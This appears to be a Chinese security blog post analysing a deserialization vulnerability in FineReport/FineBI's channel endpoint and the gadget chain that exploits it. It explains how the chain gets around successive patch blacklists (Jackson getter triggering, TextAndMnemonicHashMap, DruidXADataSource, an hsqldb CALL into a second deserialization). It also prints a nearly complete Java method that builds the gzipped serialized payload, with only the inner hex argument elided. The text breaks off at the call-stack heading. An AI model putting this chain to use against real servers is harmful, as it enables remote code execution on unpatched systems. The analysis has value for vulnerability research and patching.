[代码审计]帆软channel反序列化漏洞hsql链浅析利用

原创 2024-09-11 15:36:35 2.5k 阅读 AI写同款

LiangYueSec

码龄2年墨衍会员 · AI 创作全网分发

560粉丝37篇原创

关注

帆软 FineReport/FineBI channel反序列化漏洞分析漏洞分析阅读详情

AI摘要

本文对帆软channel反序列化漏洞hsql链进行利用分析。在Jackson原生反序列化利用链中，介绍了触发writeValueAsString方法的不同方式及补丁过滤情况，还提及用javax.swing.UIDefaults.TextAndMnemonicHashMap触发toString。分析了完整利用链所需条件，如差一个getter，还介绍了DruidXADataSource类及hsqldb的利用，最后提到工具利用和参考链接。

如果觉得该文章有帮助的，麻烦师傅们可以搜索下微信公众号：良月安全。点个关注，感谢师傅们的支持。

免责声明

本号所发布的所有内容，包括但不限于信息、工具、项目以及文章，均旨在提供学习与研究之用。所有工具安全性自测。如因此产生的一切不良后果与文章作者和本公众号无关。如有涉及公司与个人敏感信息，侵权烦请告知，我们会立即删除并致歉。

利用链分析

首先，在Jackson原生反序列化利用链中可以知道，com.fasterxml.jackson.databind.ObjectMapper#writeValueAsString方法会调用传入的对象的无参getter方法，利用com.fasterxml.jackson.databind.node.POJONode类来触发writeValueAsString方法。

在其高版本中，上述类已被加入黑名单，但JSONArray类的toString方法也可以调用到writeValueAsString方法。

调用任意类的toString方法，在第一次补丁中过滤了javax.management.BadAttributeValueExpException，第二次补丁中过滤了com.sun.org.apache.xpath.internal.objects.XString。

可以用大佬挖掘的javax.swing.UIDefaults.TextAndMnemonicHashMap来触发toString，其get方法中调用了key.toString()，key为传入的参数。

现在就是差一个getter来实现完整的利用链，第二次补丁过滤了java.security.SignedObject，无法使用java.security.SignedObject#getObject来实现二次反序列化。

DruidXADataSource类的getXAConnection方法会创造jdbc连接。

而因为存在hsqldb依赖，hsqldb可以利用CALL方法来调用公共静态方法，比如利用javax.naming.InitialContext#doLookup造成jndi注入，不过jndi注入是需要出网的，可以利用com.fr.third.org.hibernate.internal.util.SerializationHelper#deserialize来造成二次反序列化，最终代码。

public static byte[] getPayload(byte[] bytes) throws Exception {

    byte[]  bytes2 = utils.GzipUncompress(Hibernate.getPayload(bytes));
    String hex = utils.bytesToHex(bytes2);

    String call = "call \"com.fr.third.org.hibernate.internal.util.SerializationHelper.deserialize\"(...............);";

    DruidXADataSource druidXADataSource = new DruidXADataSource();
    List<?> list_3 = new ArrayList<>(Arrays.asList(druidXADataSource));
    List<?> list_1 = new ArrayList<>(Arrays.asList(list_3));
    List<?> list_2 = new ArrayList<>(Arrays.asList("1"));
    JSONArray jsonArray_1 = new JSONArray(list_1);
    JSONArray jsonArray_2 = new JSONArray(list_2);

    Constructor<?> t_constructor = utils.getConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
    Object textAndMnemonicHashMap_1 = t_constructor.newInstance();
    Object textAndMnemonicHashMap_2 = t_constructor.newInstance();
    Method putmethod = Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap").getSuperclass().getDeclaredMethod("put", Object.class, Object.class);
    putmethod.setAccessible(true);
    putmethod.invoke(textAndMnemonicHashMap_1, jsonArray_1, 11);
    putmethod.invoke(textAndMnemonicHashMap_2, jsonArray_2, jsonArray_2);

    utils.setFFFieldValue(druidXADataSource,"statLogger",null);
    utils.setFFFieldValue(druidXADataSource,"logWriter",null);
    utils.setFFFieldValue(druidXADataSource,"transactionHistogram",null);
    utils.setFFieldValue(druidXADataSource,"initedLatch",null);
    utils.setFFFieldValue(druidXADataSource,"initialSize",1);
    utils.setFFFieldValue(druidXADataSource,"jdbcUrl","jdbc:hsqldb:mem:test");
    utils.setFFFieldValue(druidXADataSource,"validationQuery",call);

    Hashtable<Object,Object> hashtable = new Hashtable<>();
    hashtable.put(textAndMnemonicHashMap_1,1);
    hashtable.put(textAndMnemonicHashMap_2,1);
    putmethod.invoke(textAndMnemonicHashMap_1, jsonArray_1, jsonArray_1);

    byte[] ser = utils.serialize(hashtable);
    byte[] payload = utils.GzipCompress(ser);
    return payload;
}

反序列化调用栈：